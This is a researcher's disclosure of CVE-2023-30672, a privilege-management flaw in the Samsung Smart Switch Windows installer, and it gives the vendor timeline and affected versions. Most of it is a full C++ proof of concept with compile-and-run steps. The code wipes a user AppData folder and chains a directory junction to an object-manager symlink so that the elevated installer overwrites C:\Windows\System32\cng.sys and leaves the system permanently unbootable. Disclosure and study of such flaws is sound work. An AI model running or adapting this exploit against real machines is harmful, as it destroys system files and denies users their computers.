CVE-2023-30672: Improper privilege management vulnerability in Samsung Smart Switch for Windows Installer

0x01: Details

Title: Improper privilege management vulnerability in Samsung Smart Switch for Windows Installer
CVE ID: CVE-2023-30672
Vendor ID : SVE-2023-0310
Advisory Published: 2023/07/06
Advisory URL : https://security.samsungmobile.com/serviceWeb.smsb?year=2023&month=07

0x02: Test Environment

Samsung Smart Switch for Windows : 4.3.23022_1
OS : Windows 10 Pro 64-bit 21H2 (build 19045.2604)

0x03: Vulnerability details

Improper privilege management vulnerability in Samsung Smart Switch for Windows Installer prior to version 4.3.23043_3 allows attackers to cause permanent DoS via directory junction.

0x04: Technical description

The Samsung Smart Switch installer operates with Administrator privileges. During the installation process, the installer creates an Smart Switch.lnk file in the C:\Users\%Username%\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch directory. At this time, the path C:\Users\%Username%\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Smart Switch.lnk can be accessed even by normal users, so by creating a symbolic link to C:\Windows\System32\cng.sys, the administrator’s authority exploits an Arbitrary file creation vulnerability. At this time, if the cng.sys file is written in the C:\Windows\System32 directory, the permanent Denial-of-Service vulnerability occurs.

Note: %Username% must be replaced with the account name of the user logged into Windows.

0x05: Proof-of-Concept (PoC)

  
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <windows.h>
#include <wchar.h>
#include <string>
#include "NtDefine.h"

DWORD LastError = 0;
void SetLastErr(DWORD err) {
	LastError = err;
}

std::wstring BuildNativePath(std::wstring path) {
	if (path.rfind(L"\\", 0) != std::wstring::npos) {
		return path;
	}
	path = L"\\??\\" + path;
	return path;
}

HANDLE OpenDirectory(std::wstring directory, DWORD access_mask, DWORD share_mode, DWORD creation_disposition) {
	directory = BuildNativePath(directory);
	HANDLE h;
	OBJECT_ATTRIBUTES objattr;
	UNICODE_STRING target;
	IO_STATUS_BLOCK io;
	NTSTATUS status;
	_RtlInitUnicodeString(&target, directory.c_str());
	InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
	switch (creation_disposition) {
	case CREATE_NEW:
		status = _NtCreateFile(&h, access_mask, &objattr, &io, NULL, FILE_ATTRIBUTE_NORMAL, share_mode,
			FILE_CREATE, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
		break;
	case OPEN_EXISTING:
		status = _NtCreateFile(&h, access_mask, &objattr, &io, NULL, FILE_ATTRIBUTE_NORMAL, share_mode,
			FILE_OPEN, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
		break;
	default:
		status = _NtCreateFile(&h, access_mask, &objattr, &io, NULL, FILE_ATTRIBUTE_NORMAL, share_mode,
			FILE_OPEN_IF, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);

	}
	if (status != STATUS_SUCCESS) {
		SetLastErr(_RtlNtStatusToDosError(status));
		return NULL;
	}
	return h;
}

bool CreateMountPoint(std::wstring dir, std::wstring target, std::wstring printname) {
	HANDLE hdir = OpenDirectory(dir, GENERIC_WRITE, ALL_SHARING, OPEN_ALWAYS);
	target = BuildNativePath(target);
	size_t targetsz = target.size() * 2;
	size_t printnamesz = printname.size() * 2;
	size_t pathbuffersz = targetsz + printnamesz + 12;
	size_t totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH;
	REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)_malloca(totalsz);
	memset(rdb, 0, totalsz);
	rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
	rdb->ReparseDataLength = static_cast<USHORT>(pathbuffersz);
	rdb->Reserved = NULL;
	rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL;
	rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(targetsz);
	memcpy(rdb->MountPointReparseBuffer.PathBuffer, target.c_str(), targetsz + 2);
	rdb->MountPointReparseBuffer.PrintNameOffset = static_cast<USHORT>(targetsz + 2);
	rdb->MountPointReparseBuffer.PrintNameLength = static_cast<USHORT>(printnamesz);
	memcpy(rdb->MountPointReparseBuffer.PathBuffer + target.size() + 1, printname.c_str(), printnamesz + 2);
	DWORD cb = 0;
	bool ret = DeviceIoControl(hdir, FSCTL_SET_REPARSE_POINT, rdb, totalsz, nullptr, NULL, &cb, NULL) == TRUE;
	_NtClose(hdir);
	return ret;
}

HANDLE CreateNativeSymlink(std::wstring link, std::wstring target) {
	HANDLE ret;
	UNICODE_STRING ulnk;
	UNICODE_STRING utarget;
	NTSTATUS status;
	_RtlInitUnicodeString(&ulnk, link.c_str());
	_RtlInitUnicodeString(&utarget, target.c_str());

	OBJECT_ATTRIBUTES objattr;
	InitializeObjectAttributes(&objattr, &ulnk, OBJ_CASE_INSENSITIVE, nullptr, nullptr);

	NTSTATUS stat = _NtCreateSymbolicLinkObject(&ret, SYMBOLIC_LINK_ALL_ACCESS,
		&objattr, &utarget);

	if (stat != STATUS_SUCCESS) {
		SetLastErr(_RtlNtStatusToDosError(stat));
		return nullptr;
	}
	return ret;
}

DWORD DeleteAllFiles(LPCWSTR szDir, DWORD recur) {
	HANDLE hSrch;
	WIN32_FIND_DATA wfd;
	DWORD res = 1;

	TCHAR DelPath[MAX_PATH];
	TCHAR FullPath[MAX_PATH];
	TCHAR TempPath[MAX_PATH];

	lstrcpy(DelPath, szDir);
	lstrcpy(TempPath, szDir);
	if (lstrcmp(DelPath + lstrlen(DelPath) - 4, L"\\*.*") != 0) {
		lstrcat(DelPath, L"\\*.*");
	}

	hSrch = FindFirstFile(DelPath, &wfd);
	if (hSrch == INVALID_HANDLE_VALUE) {
		if (recur > 0) RemoveDirectory(TempPath);
		return -1;
	}

	while (res) {
		wsprintf(FullPath, L"%s\\%s", TempPath, wfd.cFileName);

		if (wfd.dwFileAttributes & FILE_ATTRIBUTE_READONLY) {
			SetFileAttributes(FullPath, FILE_ATTRIBUTE_NORMAL);
		}

		if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
			if (lstrcmp(wfd.cFileName, L".")
				&& lstrcmp(wfd.cFileName, L"..")) {
				recur++;
				DeleteAllFiles(FullPath, recur);
				recur--;
			}
		}
		else {
			DeleteFile(FullPath);
		}

		res = FindNextFile(hSrch, &wfd);
	}

	FindClose(hSrch);

	if (recur > 0) RemoveDirectory(TempPath);

	return 0;
}

void NtInit() {
	LoadLibrary(L"ntdll.dll");
	HMODULE hm = GetModuleHandle(L"ntdll.dll");
	_RtlInitUnicodeString = (ULONG(WINAPI*)(PUNICODE_STRING, PCWSTR))GetProcAddress(hm, "RtlInitUnicodeString");
	_RtlNtStatusToDosError = (ULONG(WINAPI*) (NTSTATUS Status))GetProcAddress(hm, "RtlNtStatusToDosError");
	_NtCreateSymbolicLinkObject = (NTSTATUS(WINAPI*)(
		OUT PHANDLE             pHandle,
		IN ACCESS_MASK          DesiredAccess,
		IN POBJECT_ATTRIBUTES   ObjectAttributes,
		IN PUNICODE_STRING      DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject");
	_NtCreateFile = (NTSTATUS(WINAPI*)(
		PHANDLE            FileHandle,
		ACCESS_MASK        DesiredAccess,
		POBJECT_ATTRIBUTES ObjectAttributes,
		PIO_STATUS_BLOCK   IoStatusBlock,
		PLARGE_INTEGER     AllocationSize,
		ULONG              FileAttributes,
		ULONG              ShareAccess,
		ULONG              CreateDisposition,
		ULONG              CreateOptions,
		PVOID              EaBuffer,
		ULONG              EaLength))GetProcAddress(hm, "NtCreateFile");
	_NtClose = (NTSTATUS(WINAPI*)(HANDLE Handle))GetProcAddress(hm, "NtClose");
}

int main() {
	NtInit();

	std::wstring UserProfilePath = std::wstring(_wgetenv(L"USERPROFILE"));

	std::wstring LinkFile = L"Smart Switch.lnk";
	std::wstring LinkDirectory = UserProfilePath + std::wstring(L"\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch");
	std::wstring TargetFile = L"C:\\Windows\\System32\\cng.sys";

	std::wstring RpcControl = L"\\RPC Control";
	std::wstring RpcControlFile = RpcControl + L"\\" + LinkFile;

	std::wstring ParentDirectory = UserProfilePath + std::wstring(L"\\AppData\\Roaming\\Microsoft\\Internet Explorer");
	if (GetFileAttributesW(ParentDirectory.c_str()) != INVALID_FILE_ATTRIBUTES) {
		DeleteAllFiles(ParentDirectory.c_str(), 1);
	}

	CreateDirectoryW(ParentDirectory.c_str(), NULL);

	if (!CreateMountPoint(LinkDirectory, RpcControl, L"Junction")) {
		std::cout << "[-] RPC Control Junction Failed" << std::endl;
		exit(0);
	}
	std::cout << "[+] RPC Control Junction Success" << std::endl;

	HANDLE hFile = CreateNativeSymlink(RpcControlFile, BuildNativePath(TargetFile));
	if (hFile == INVALID_HANDLE_VALUE || hFile == NULL) {
		std::cout << "[-] CreateNativeSymlink Failed" << std::endl;
		exit(0);
	}
	std::cout << "[+] CreateNativeSymlink Success    Handle : " << hFile << std::endl;
	std::cout << "[+] CreateSymlink Success" << std::endl;
	std::wcout << L"[+] " << (LinkDirectory + L"\\" + LinkFile) << L" -> " << TargetFile << std::endl;
	std::cout << "Press ENTER to exit and delete the symlink" << std::endl;
	getchar();

	return 0;
}

main.cpp

  
#pragma once
#include <Windows.h>

#define     SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)
#define     STATUS_SUCCESS            0x00000000
#define     OBJ_CASE_INSENSITIVE      0x00000040L
#define 	FILE_OPEN                 0x00000001
#define 	FILE_OPEN_IF              0x00000003
#define 	FILE_CREATE               0x00000002
#define 	FILE_DIRECTORY_FILE       0x00000001
#define 	FILE_DIRECTORY_FILE       0x00000001
#define 	FILE_OPEN_REPARSE_POINT   0x00200000

#define ALL_SHARING FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE
#define GENERIC_READ_WRITE GENERIC_READ|GENERIC_WRITE
#define InitializeObjectAttributes( p, n, a, r, s ) {    \
    (p)->uLength = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->hRootDirectory = r;                             \
    (p)->uAttributes = a;                                \
    (p)->pObjectName = n;                                \
    (p)->pSecurityDescriptor = s;                        \
    (p)->pSecurityQualityOfService = NULL;               \
}

typedef struct _REPARSE_DATA_BUFFER {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    union {
        struct {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            ULONG Flags;
            WCHAR PathBuffer[1];
        } SymbolicLinkReparseBuffer;
        struct {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            WCHAR PathBuffer[1];
        } MountPointReparseBuffer;
        struct {
            UCHAR  DataBuffer[1];
        } GenericReparseBuffer;
    } DUMMYUNIONNAME;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
typedef struct _FILE_DISPOSITION_INFORMATION_EX {
    ULONG Flags;
} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;
#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING* PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG uLength;
    HANDLE hRootDirectory;
    PUNICODE_STRING pObjectName;
    ULONG uAttributes;
    PVOID pSecurityDescriptor;
    PVOID pSecurityQualityOfService;
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES* POBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

ULONG(WINAPI* _RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
ULONG(WINAPI* _RtlNtStatusToDosError)(NTSTATUS Status);
NTSTATUS(WINAPI* _NtCreateFile)(
    PHANDLE            FileHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PIO_STATUS_BLOCK   IoStatusBlock,
    PLARGE_INTEGER     AllocationSize,
    ULONG              FileAttributes,
    ULONG              ShareAccess,
    ULONG              CreateDisposition,
    ULONG              CreateOptions,
    PVOID              EaBuffer,
    ULONG              EaLength);
NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)(
    OUT PHANDLE             pHandle,
    IN ACCESS_MASK          DesiredAccess,
    IN POBJECT_ATTRIBUTES   ObjectAttributes,
    IN PUNICODE_STRING      DestinationName);
NTSTATUS(WINAPI* _NtClose)(
    HANDLE Handle
    );

NtDefine.h

Use Visual Studio 2022.
Compile the project in the exploit directory in x86 Release mode.
Run exploit.exe.
Run Smart Switch PC_4.3.23022_1.exe to perform Samsung Smart Switch installation.

0x06: Affected Products

This vulnerability affects the following product:

Smart Switch PC < 4.3.23043_3

0x07: Credit information

HeeChan Kim (@heegong123) of TeamH4C

0x08: TimeLine

2023/02/23 : First time contacted via Samsung Mobile Security.
2023/02/23 : I received a call from Samsung Mobile Security to analyze the vulnerability.
2023/03/17 : I received a call from Samsung Mobile Security to determine the vulnerability as high and proceed with the patch.
2023/07/06 : The vulnerability has been patched, and CVE-2023-30672(SVE-2023-0310) has been issued.

CVE-2023-30672: Improper privilege management vulnerability in Samsung Smart Switch for Windows Installer

0x01: Details

0x02: Test Environment

0x03: Vulnerability details

0x04: Technical description

0x05: Proof-of-Concept (PoC)

0x06: Affected Products

0x07: Credit information

0x08: TimeLine

0x09: Reference

Further Reading

CVE-2022-39909: Insufficient verification of data authenticity vulnerability in Samsung Gear IconX PC Manager

CVE-2023-30673: Possible to delete arbitrary directory vulnerability in Smart Switch PC

CVE-2022-4894: Certain HP and Samsung printer software - Potential elevation of privileges